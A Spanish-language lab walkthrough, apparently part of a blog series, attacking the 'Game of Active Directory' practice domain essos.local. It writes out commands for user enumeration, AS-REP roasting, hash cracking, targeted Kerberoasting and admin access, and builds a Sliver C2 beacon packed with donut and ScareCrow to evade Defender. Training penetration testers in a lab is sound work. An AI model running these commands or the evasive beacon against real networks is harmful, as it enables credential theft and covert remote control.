Game of Active Directory - Parte 4
En esta cuarta parte vamos a atacar el dominio essos.local. Conseguiremos credenciales con asreproasting, para luego ver con bloodhound que tenemos el rol GenericAll sobre otra cuenta, y nos aprovecharemos de eso para escalar privilegios. Finalmente obtendremos un beacon de sliver evadiendo el defender.
Sabemos que este dominio tiene una máquina con la ip 192.168.56.23 y un controlador de dominio en la ip 192.168.56.12, así que vamos a intentar conseguir un listado de usuarios.
Le podemos pedir a chatgpt que nos cree una lista con personajes de juego de tronos en el formato nombre.apellido para luego usar alguna herramienta que nos diga cuales de estos son válidos.
Después de pedirle varias veces que nos cree una lista más larga nos da una lista con 50 candidatos.
Ahora creamos un archivo con la lista de usuarios y probamos con kerbrute los que son válidos.
kerbrute userenum --domain "essos.local" --dc 192.168.56.12 users_chatgpt.txt
Y vemos que hay 5 usuarios válidos. Ahora podemos probar con la vulnerabilidad asreproasting para ver si conseguimos alguna credencial.
GetNPUsers.py essos.local/ -no-pass -usersfile users_essos.txt
Y conseguimos el hash del usuario misandei. Vamos a intentar crackearlo con hashcat.
hashcat -m 18200 asreproastable.missandei /usr/share/wordlists/rockyou.txt
Ya tenemos credenciales válidas en el dominio misandei:fr3edom
Ahora usaremos bloodhound para recolectar información útil del dominio y buscar vulnerabilidades.
bloodhound.py --zip -c All -d "essos.local" -u "missandei" -p "fr3edom" -dc "meereen.essos.local" -ns "192.168.56.12"
Arrancamos neo4j y bloodhound y subimos el archivo zip que nos ha generado el comando anterior.
En bloodhound buscamos el usuario missandei y pinchamos en outbound object control/First Degree Object Control y vemos que tiene el rol GenericAll sobre el usuario khal.drogo. Al disponer de esta ACL tenemos control sobre este usuario y podemos incluso cambiarle la contraseña.
Podríamos cambiar la contraseña del usuario khal.drogo, pero esto llamaría mucho la atención y el usuario se daría cuenta, con lo cual vamos a utilizar la herramienta que nos sugiere bloodhound, targetedkerberoast.py, que es un script de Python que puede, como muchos otros (por ejemplo, GetUserSPNs.py), imprimir hashes “kerberoast” para cuentas de usuario que tienen un SPN configurado. Esta herramienta trae la siguiente característica adicional: para cada usuario sin SPN, intenta establecer uno (abuso de un permiso de escritura en el atributo servicePrincipalName), imprimir el hash “kerberoast” y eliminar el SPN temporal establecido para esa operación. Esto se llama Kerberoasting dirigido. Esta herramienta se puede utilizar contra todos los usuarios de un dominio, o se puede proporcionar en una lista, o un usuario proporcionado en la CLI.
Y nos da dos hashes, el de khal.drogo y el de sql_svc.
De nuevo con hashcat intentamos crackearlos.
hashcat -m 13100 -a 0 Kerberoastables.txt /usr/share/wordlists/rockyou.txt
Y conseguimos otras credenciales khal.drogo:horse
Validamos la credencial con NetExec y vemos que khal.drogo tiene permisos de administrador en la 192.168.56.23 (BRAAVOS), y que puede conectarse por winrm.
Nos conectamos con evil-winrm a la máquina, pero ahora queremos conseguir un beacon de sliver para tener el equipo en nuestro command and control. Podríamos usar el comando utilizado en los artículos anteriores, pero vamos a hacerlo de otra forma. Esta vez crearemos un ejecutable desde sliver y lo trataremos para que sea capaz de evadir el defender.
Para ello, desde sliver, creamos un listener con https --lport 8443
y generamos un ejecutable con generate beacon --seconds 5 --jitter 3 --os windows --arch amd64 --format EXECUTABLE --http 192.168.56.1:8443 --name goad --save /tmp/beacon.exe -G
Utilizamos la opción –seconds 5 para que haga un callback cada 5 segundos, pero en un entorno real lógicamente se pondría un callback más largo para llamar menos la atención.
Si subimos el ejecutable directamente a la máquina y lo ejecutamos nos lo va a pillar el defender, así que vamos a utilizar un par de herramientas para evadirlo.
Primero utilizaremos donut, y luego ScareCrow.
./donut -i ../beacon.exe -a x64 -o beacon.bin
./ScareCrow -I ../beacon.bin --domain microsoft.com
Esto nos genera un ejecutable llamado Excel.exe que es el que subiremos a la máquina a través de nuestra sesión con evil-winrm, para finalmente conseguir nuestro beacon de sliver evadiendo el defender.
Podemos ver que tenemos todos los privilegios ya que somos administrador local de la máquina.
En el próximo artículo obtendremos acceso al controlador de dominio (MEEREEN) y elevaremos privilegios.